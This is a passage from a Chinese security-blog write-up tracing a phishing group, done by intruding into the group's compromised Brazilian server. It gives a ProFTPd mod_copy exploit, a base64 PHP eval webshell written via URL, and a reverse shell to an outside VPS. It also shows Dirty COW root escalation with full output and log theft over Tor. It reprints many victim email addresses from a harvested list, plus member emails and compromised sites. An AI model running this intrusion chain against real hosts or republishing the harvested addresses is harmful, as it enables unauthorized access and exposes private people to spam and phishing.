⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}'./rosturplast.com/www/rosturplast.com/shells/config.php./mirohaviar.sk/www/config.php./zebramedia.al/www/zebramedia.al/config.php./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
后门文件MD5
⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}' |xargs md5sume5c06f1f66781ba5c39d909096c4cd47 ./rosturplast.com/www/rosturplast.com/shells/config.phpe5c06f1f66781ba5c39d909096c4cd47 ./mirohaviar.sk/www/config.phpe5c06f1f66781ba5c39d909096c4cd47 ./zebramedia.al/www/zebramedia.al/config.phpe5c06f1f66781ba5c39d909096c4cd47./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
五、渗透攻击者肉鸡服务器
5.1 漏洞扫描
目标187.85.134.4
[+] HOST: 187.85.134.4巴西
[+] OS: Ubuntu
[+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19
[+] CMS: 未知
nmap --script=firewalk --traceroute 187.85.134.4

5. 漏洞利用
端口扫描发现目标 FTP Server为ProFTPd 1.3.4a这个版本和1.3.5存在未授权文件复制漏洞我们可以通过这个漏洞往Web目录写入一个WebShell。
ProFTPd 1.3.5 Remote Command ExecutionCVE-2015-3306ProFTPD中使用的mod_copy模块存在未授权访问风险导致ProFTPD自带的命令 SITE CPFR 和 SITE CPTO可在未登录ftp的情况被外部黑客所利用对系统文件进行任意复制。

5. 获取权限
使用用MSF执行
得到一个cmd功能的WebShell

写入中国菜刀客户端
http://187.85.134.4/lndex.php?img=echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+Cg== |base64 -d >/var/www/index2.php
5.3 文件分析
在Web目录下面发现用于发送钓鱼邮件的perl脚本、邮件钓鱼样本和大量的邮箱地址。以及挖矿后门、DDOS脚本等。


5.3.1 钓鱼模板
图示是针对丹麦丹斯克银行Danske Bank和希腊阿尔法银行Alpha Bank的邮件钓鱼样本。






5.3.2 僵尸网络程序


5.3.3 DDOS脚本

5.3.4 邮箱地址
统计目录下的 txt 文本数量发现共有六十二万四千个邮箱地址。
⚡ root@kali /tmp/187.85.134.4/www/cacat wc -l *.txt624000 总用量
主流邮箱检索
⚡ root@kali /tmp/187.85.134.4/www/cacat grep "@gmail.com" *.txt |head -n 20a0000001.txt:a.l.v.e.rtadsmileyksso@gmail.coma0000001.txt:a.l.v.ertadsmileyksso@gmail.coma0000001.txt:a.lfer.gm@gmail.coma0000001.txt:a.lieseijsink@gmail.coma0000001.txt:a.linkhusen@gmail.coma0000001.txt:a.loldrup@gmail.coma0000001.txt:a.lovendahl@gmail.coma0000001.txt:a.lv.e.rtadsmileyksso@gmail.coma0000001.txt:a.lver.tadsmileyksso@gmail.coma0000001.txt:a.m.edsberg@gmail.coma0000001.txt:a.m.morcke@gmail.coma0000001.txt:a.m.quist@gmail.coma0000001.txt:a.m.svendsen@gmail.coma0000001.txt:a.merete.p@gmail.coma0000001.txt:a.mette.sm@gmail.coma0000001.txt:a.miller8111@gmail.coma0000001.txt:a.moejbaek@gmail.coma0000001.txt:a.moltkehansen@gmail.coma0000001.txt:a.munktved@gmail.coma0000001.txt:a.n.knutzen@gmail.com⚡ root@kali /tmp/187.85.134.4/www/cacat grep "@outlook.com" *.txt |head -n 20a0000001.txt:a.m.westra@outlook.coma0000001.txt:a.olsen@outlook.coma0000002.txt:aagren@outlook.coma0000003.txt:aandanimalcity@outlook.coma0000003.txt:aarhus-ungegruppe@outlook.coma0000004.txt:aase.lousdal@outlook.coma0000006.txt:abroschultz@outlook.coma0000008.txt:adamfred2@outlook.coma0000008.txt:adexecsolution@outlook.coma0000010.txt:adrian.f.a.svendsen@outlook.coma0000015.txt:aiah@outlook.coma0000015.txt:aimeegarcia584@outlook.coma0000016.txt:ajolicoeu@outlook.coma0000018.txt:akstrup@outlook.coma0000020.txt:alexander_bangsborg@outlook.coma0000020.txt:alexanderkopke@outlook.coma0000020.txt:ali__sivan@outlook.coma0000021.txt:alicegerner@outlook.coma0000022.txt:allanjeppesen@outlook.coma0000023.txt:allworlduseu@outlook.com⚡ root@kali /tmp/187.85.134.4/www/cacat grep "@163.com" *.txt |head -n 20a0000001.txt:a31a18615@163.coma0000001.txt:a398c671@163.coma0000059.txt:backlink0321@163.coma0000061.txt:banqianm8256@163.coma0000075.txt:bf86ad32@163.coma0000121.txt:cbb146672@163.coma0000129.txt:chenbin800519@163.coma0000134.txt:chuofuh3082@163.coma0000157.txt:davidhuang001@163.coma0000162.txt:dfjiuew@163.coma0000209.txt:f08dbf326@163.coma0000213.txt:fanxued79193@163.coma0000221.txt:fjfzpy@163.coma0000227.txt:fon@163.coma0000259.txt:guangdk@163.coma0000311.txt:huhuanqiang00161@163.com
5.4 提权
5.4.1 CVE-2013-2094CVE-2013-1763提权
查看apache日志目录发现没有权限。
[/var/www/]$ls -al /var/log/apache2/ls: cannot open directory /var/log/apache2/: Permission denied
内核版本为3.5.0-23尝试提权。
[/var/www/]$cat /etc/issueUbuntu 12.04.2 LTS \n \l[/var/www/]$uname -anLinux medidor2 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:15:33 UTC 2013 GNU/Linux

WebShell反弹[/var/www/]$cd /var/tmp;./pty xxx.xxx.xxx.xxx 443外网VPS监听socat file:`tty`,echo=0,raw tcp-listen:443

实际测试CVE-2013-2094CVE-2013-1763均无法提权。
CVE-2013-2094Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)CVE-2013-1763Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation
5.4.2 脏牛提权
祭出大杀器CVE-2016-5195脏牛 理论上通杀 2.6.22 < 3.9 (x86/x64)的内核版本。
在本地环境提权测试过程中发现i386架构下使用cowroot提权时EXP会破坏源文件导致提权失败。而使用dirtycow-mem仅修改内存则没有问题但是存在内核崩溃的风险。这两个EXP都是利用/proc/self/mem提权前一个修改文件后一个修改内存。
如图所示

使用dirtycow-mem.c提权时需要注意i386架构下编译前需要将源代码中libc路径修改为目标系统libc路径否则执行时找不到文件。
#define SHELLCODE "\x31\xc0\xc3"#define SPACE_SIZE 256#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" ## 改为 /lib/i386-linux-gnu/libc.so.6#define LOOP 0x1000000#ifndef PAGE_SIZE#define PAGE_SIZE 4096
Give me root :提权成功。
www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthreadwww-data@medidor2:/tmp$ lshellowww-data@medidor2:/tmp$ chmod +x hellowww-data@medidor2:/tmp$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@medidor2:/tmp$ ./hello[*] range: b7573000-b7716000][*] getuid = b762bd10[*] mmap 0xb73cb000[*] exploiting (patch)[*] patched (madviseThread)[*] patched (procselfmemThread)root@medidor2:/tmp# [*] exploiting (unpatch)[*] unpatched: uid=33 (madviseThread)[*] unpatched: uid=33 (procselfmemThread)root@medidor2:/tmp# iduid=0(root) gid=0(root) groups=0(root)
打包Apache日志。
✘ ⚡ root@kali ls /var/log/apache2access error other_vhosts_access.log✘ ⚡ root@kali tar zcvf /var/www/apache2-log.tar.gz /var/log/apache2/✘ ⚡ root@kali /tmp ltor wget http://187.85.134.4/apache2-log.tar.gz[proxychains] config file found: /data/app/local/proxychains_local_tor/proxychains.conf[proxychains] preloading /data/app/local/proxychains_local_tor/libproxychains4.so[proxychains] DLL init--2019-01-09 22:09:00-- http://187.85.134.4/apache2-log.tar.gz正在连接 187.85.134.4:80... [proxychains] Strict chain ... 127.0.0.1:9050 ... 187.85.134.4:80 ... OK已连接。已发出 HTTP 请求正在等待回应... 200 OK长度9258688 (8.8M) [application/x-gzip]正在保存至: “apache2-log.tar.gz”apache2-log.tar.gz 100%[===================>] 8.83M 29.6KB/s 用时 5m 45s201-11-11 11:11:11 (26.2 KB/s) - 已保存 “apache2-log.tar.gz” [9258688/9258688])
5.5 分析日志
分析IP访问情况
⚡ root@kali /tmp/ grep "/cacat/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt95 185.56.80.13877 197.211.60.5270 67.71.3.859 207.35.210.3541 99.226.207.4641 193.215.40.23839 197.211.59.16338 82.61.95.13238 66.249.73.9537 76.26.34.18137 197.234.221.7731 105.112.27.6029 105.112.23.4120 109.166.138.6816 66.249.79.6116 197.211.61.1814 212.100.77.19112 197.234.221.2108 66.249.79.358 66.249.73.647 154.118.69.1655 66.249.73.67......⚡ root@kali /tmp for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; doneIP: 185.56.80.138 来自: 荷兰IP: 197.211.60.52 来自: 尼日利亚IP: 67.71.3.8 来自: 加拿大IP: 207.35.210.35 来自: 加拿大IP: 99.226.207.46 来自: 加拿大IP: 193.215.40.238 来自: 挪威IP: 197.211.59.163 来自: 尼日利亚IP: 82.61.95.132 来自: 意大利IP: 66.249.73.95 来自: Google 骨干网IP: 76.26.34.181 来自: 美国IP: 197.234.221.77 来自: 贝宁IP: 105.112.27.60 来自: 尼日利亚IP: 105.112.23.41 来自: 尼日利亚IP: 109.166.138.68 来自: 罗马尼亚IP: 66.249.79.61 来自: Google 骨干网IP: 197.211.61.18 来自: 尼日利亚IP: 212.100.77.191 来自: 尼日利亚IP: 197.234.221.210 来自: 贝宁IP: 66.249.79.35 来自: Google 骨干网IP: 66.249.73.64 来自: Google 骨干网IP: 154.118.69.165 来自: 尼日利亚IP: 66.249.73.67 来自: Google 骨干网......
根据路径名判断疑似受害者访问了钓鱼页面。
⚡ root@kali /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0"207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR""Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 4489167"http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
查看web目录下txt文件访问情况总共有一万多IP。访问地址包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。
grep "/cacat/" * |grep "txt" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort-t " " -k 1 -n -r >ip.txt
⚡ root@kali ~/Desktop wc -l ip.txt10101 ip.txt
5.6 访问IP热力图
5.6.1 IP转经纬度坐标
将获得的IP转换成经纬度坐标再通过百度地图API生成热力图
将IP转换成经纬度坐标脚本
ip2xy.py
生成经纬度坐标文件point.js
全球IP库GeoLiteCity.dat
#!/usr/bin/python#coding:utf-8import pandas as pdimport pygeoipimport typesimport sysgi = pygeoip.GeoIP('/tmp/GeoLiteCity.dat', pygeoip.MEMORY_CACHE)def getLocal(ip):if type(ip) != types.StringType:print ipreturnlocation = gi.record_by_addr(ip)if location is None:print ipreturnlng = location['longitude']lat = location['latitude']str_temp = '{"lat":' + str(lat) + ',"lng":' + str(lng) + '},\n'print ip,lng,lat,str_tempfile.write(str_temp)file = open('/tmp/point.js', 'w')file.write("var points =[\n")with open("/tmp/ip.txt") as f:i = 0for ip in f.readlines():getLocal(ip)file.write("];\n")file.close()
5.6.2 调用百度地图API
本地调用百度地图 JavaScript API map.html
<!DOCTYPE html><html lang="en"><head><!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="viewport" content="initial-scale=1.0, user-scalable=no" /><script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=填写自己的百度AK"></script><script type="text/javascript" src="http://api.map.baidu.com/library/Heatmap/2.0/src/Heatmap_min.js"></script><script type="text/javascript" src="./point.js"></script><title>热力图功能示例</title><style type="text/css">ul,li{list-style: none;margin:0;padding:0;float:left;}html{height:100%}body{height:100%;margin:0px;padding:0px;font-family:"微软雅黑";}#container{height:100%;width:100%;}#r-result{width:100%;}</style></head><body><div id="container"></div><div id="r-result" style="display:none"><input type="button" onclick="openHeatmap();" value="显示热力图"/><input type="button" onclick="closeHeatmap();"value="关闭热力图"/></div></body></html><script type="text/javascript">var map = new BMap.Map("container"); // 创建地图实例var point = new BMap.Point(34.0224714118,109.0786868715);map.centerAndZoom(point, 6); // 初始化地图设置中心点坐标和地图级别map.setCurrentCity("西安"); //设置当前显示城市map.enableScrollWheelZoom(); // 允许滚轮缩放if(!isSupportCanvas()){alert('热力图目前只支持有canvas支持的浏览器,您所使用的浏览器不能使用热力图功能~')}//详细的参数,可以查看heatmap.js的文档 https://github.com/pa7/heatmap.js/blob/master/README.md//参数说明如下:/* visible 热力图是否显示,默认为true* opacity 热力的透明度,1-100* radius 势力图的每个点的半径大小* gradient {JSON} 热力图的渐变区间 . gradient如下所示* {.2:'rgb(0, 255, 255)',.5:'rgb(0, 110, 255)',.8:'rgb(100, 0, 255)'}其中 key 表示插值的位置, 0~1.value 为颜色值.*/heatmapOverlay = new BMapLib.HeatmapOverlay({"radius":100,"visible":true});map.addOverlay(heatmapOverlay);heatmapOverlay.setDataSet({data:points,max:100});//closeHeatmap();//判断浏览区是否支持canvasfunction isSupportCanvas(){var elem = document.createElement('canvas');return !!(elem.getContext && elem.getContext('2d'));}function setGradient(){/*格式如下所示:{0:'rgb(102, 255, 0)',.5:'rgb(255, 170, 0)',1:'rgb(255, 0, 0)'}*/var gradient = {};var colors = document.querySelectorAll("input[type='color']");colors = [].slice.call(colors,0);colors.forEach(function(ele){gradient[ele.getAttribute("data-key")] = ele.value;});heatmapOverlay.setOptions({"gradient":gradient});}function openHeatmap(){heatmapOverlay.show();}function closeHeatmap(){heatmapOverlay.hide();}</script></body></html>
5.6.3 生成热力图
如图所示欧洲IP居多亚洲也不少。至于有多少主机沦陷和多少受害者上钩无法准确判断。



六、信息汇总
根据所得信息汇总对这个黑客组织信息进行简单分析仅供参考。
6.1 组织信息
名称
Muslim Cyber Corp – Mujahidin Cyber Army – Family Attack Cyber
地区
巴勒斯坦
成员ID
Hawk_B404 、 MR.S1NS_Y 、 koneksi eror 、 GU3LT03M 、 SinonX 、
./B4Z1R007 、 ./Bl4ckJ4ck 、 anon99husein 、 4GottenName 、Gantai 、 4nzeL4
、 AKEMI403
历史邮箱
alexsin54@yahoo.com
jasonchowan223@gmail.com
macacperus@yopmail.com
bidibidibidi@yopmail.com
bidi.pici11@hotmail.com
bidi.cuc@mail.com
flrnvasilica@gmail.com
组织主页
http://mujahidincyberarmy.blogspot.com/
https://www.facebook.com/FamilyAttackCyberOfficial/
6.2 攻击手段
入侵使用Wordpress、Joomla! CMS的网站、放置钓鱼程序批量传播钓鱼邮件。
攻击目标
早期政治目的居多主要攻击美国政府机构网站和雇员。近期多为商业目的主要针对欧洲银行客户以及亚洲金融机构雇员进行邮件钓鱼。
控制主机
187.85.134.4
常用后门
略
6.3 攻击历史
美国联邦调查局、美国国土安全部、美国司法部
巴勒斯坦黑客已经发布了大约2万名联邦调查局FBI和9,000名国土安全部DHS官员的个人信息
http://mujahidincyberarmy.blogspot.com/2016/12/inilah-data-informasi-pribadi-20-ribu.html通过钓鱼邮件获得美国司法部权限
http://mujahidincyberarmy.blogspot.com/2016/02/hacker-pro-palestina-terbitkan.html
6.4 代理IP
174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731"http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-""Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729"http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-""Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"212.1.211.3 美国 - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-""Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"178.128.221.199 希腊- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"197.211.61.82 尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
6.5 被黑网站
不完全统计rosturplast.commirohaviar.skhelioncomposites.comradiolanalhue.clzebramedia.alwww.qtfontebispo.comwww.seoeaze.comvilapoucadeaguiar.comproyectosphr.clu-p.comwww.humanaconsultores.clamsogroup.comwww.tdftechnologies.comwww.bvvagos.ptwww.huellasdigitales.cllince.apsl.edu.plwww.fica.unsl.edu.arproyectosphr.clwww.zlobek.uw.edu.plifr.ptmail.ijrer.orgwww.hkmms.org.hkhistoria.apsl.edu.plwww.homeguide.com.sgonlinecombos.co.inumo.apsl.edu.plwww.bpmp2t.lombokbaratkab.go.idamsogroup.comviper.clwww.teniscavancha.clwww.estacaomedica.ptterrarestobar.cljf-bragado.pthelioncomposites.comnotariabasualto.clericdiblasi.comreinamarltda.clcobraz.ptwww.stmarypellaia.comwebcam.wm-itservice.at
七、攻击路径还原
复盘整个溯源过程还原攻击者攻击路径。

以上就是整个溯源过程仅供参考。 欢迎交流。
*本文作者:信陵君魏无忌,转载请注明来自FreeBuf.COM


发表评论